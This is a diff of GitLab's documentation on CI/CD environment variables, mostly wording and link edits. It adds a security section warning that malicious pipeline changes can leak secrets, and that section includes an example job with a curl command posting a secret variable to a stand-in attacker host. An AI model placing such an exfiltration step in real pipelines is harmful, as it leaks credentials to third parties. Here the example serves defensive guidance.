diff options
Diffstat (limited to 'doc/ci/variables/README.md')
| -rw-r--r-- | doc/ci/variables/README.md | 67 |
1 files changed, 43 insertions, 24 deletions
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 8f0ec75973c..1a982fa4e19 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -35,15 +35,15 @@ You can call issue numbers, user names, branch names, pipeline and commit IDs, and much more. Predefined environment variables are provided by GitLab -for the local environment of the Runner. +for the local environment of the runner. GitLab reads the `.gitlab-ci.yml` file and sends the information -to the Runner, where the variables are exposed. The Runner then runs the script commands. +to the runner, where the variables are exposed. The runner then runs the script commands. ### Use predefined environment variables You can choose one of the existing predefined variables -to be output by the Runner. +to be output by the runner. This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. @@ -57,7 +57,7 @@ test_variable: - echo $CI_JOB_STAGE ``` -In this case, the Runner outputs the `stage` for the +In this case, the runner outputs the `stage` for the job `test_variable`, which is `test`:  @@ -84,7 +84,7 @@ When you need a specific custom environment variable, you can [set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). -The variables are used by the Runner any time the pipeline runs. +The variables are used by the runner any time the pipeline runs. You can also [override variable values manually for a specific pipeline](../pipelines/index.md#specifying-variables-when-running-manual-jobs). There are two types of variables: **Variable** and **File**. You cannot set types in @@ -131,21 +131,40 @@ After you set a variable, call it from the `.gitlab-ci.yml` file: test_variable: stage: test script: - - echo $CI_JOB_STAGE # calls a predefined variable - - echo $TEST # calls a custom variable of type `env_var` - - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file - - cat $GREETING # the temp file itself contains the variable value + - echo $CI_JOB_STAGE # calls a predefined variable + - echo $TEST # calls a custom variable of type `env_var` + - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file + - cat $GREETING # the temp file itself contains the variable value ``` The output is:  +Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). + +#### Security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. + +All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: + +- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merging the changes. + +Here is a simplified example of a malicious `.gitlab-ci.yml`: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ +``` + ### Custom environment variables of type Variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **Variable**, the Runner creates an environment variable +For variables with the type **Variable**, the runner creates an environment variable that uses the key for the name and the value for the value. There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, @@ -155,8 +174,8 @@ which may be further validated. They appear when you add or update a variable in > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **File**, the Runner creates an environment variable that uses the key for the name. -For the value, the Runner writes the variable value to a temporary file and uses this path. +For variables with the type **File**, the runner creates an environment variable that uses the key for the name. +For the value, the runner writes the variable value to a temporary file and uses this path. You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) @@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements. > Introduced in GitLab 9.3. Variables can be protected. When a variable is -protected, it is securely passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get +protected, it is only passed to pipelines running on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get the protected variable. To protect a variable: @@ -227,8 +246,7 @@ To protect a variable: 1. Select the **Protect variable** check box. 1. Click **Update variable**. -The variable is available for all subsequent pipelines. Protected variables can only -be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +The variable is available for all subsequent pipelines. ### Custom variables validated by GitLab @@ -250,7 +268,7 @@ All variables are set as environment variables in the build environment, and they are accessible with normal methods that are used to access such variables. In most cases `bash` or `sh` is used to execute the job script. -To access environment variables, use the syntax for your Runner's [shell](https://docs.gitlab.com/runner/executors/). +To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/). | Shell | Usage | |----------------------|------------------------------------------| @@ -413,7 +431,7 @@ script: You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`) and are securely passed to GitLab Runner, -which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. +which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../secrets/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. Group-level variables can be added by: @@ -445,7 +463,7 @@ To add an instance-level variable: 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. - - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected Runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. + - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. - **Type**: `File` or `Variable`. - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements). @@ -493,7 +511,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello dependencies: - build ``` @@ -512,7 +530,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello needs: - job: build artifacts: true @@ -529,6 +547,7 @@ The order of precedence for variables is (from highest to lowest): and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). 1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable). 1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable). +1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable). 1. [Inherited environment variables](#inherit-environment-variables). 1. YAML-defined [job-level variables](../yaml/README.md#variables). 1. YAML-defined [global variables](../yaml/README.md#variables). @@ -608,7 +627,7 @@ Choose the branch you want to run the pipeline for, then add a variable and its  -The Runner overrides the value previously set and uses the custom +The runner overrides the value previously set and uses the custom value for this specific pipeline.  @@ -748,7 +767,7 @@ so `&&` is evaluated before `||`. > - It's deployed behind a feature flag, enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(CORE ONLY)** It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -831,7 +850,7 @@ output **will** contain the content of all your variables and any other secrets! The output **will** be uploaded to the GitLab server and made visible in job logs! -By default, GitLab Runner hides most of the details of what it is doing when +By default, the runner hides most of the details of what it is doing when processing a job. This behavior keeps job logs short, and prevents secrets from being leaked into the log unless your script writes them to the screen. |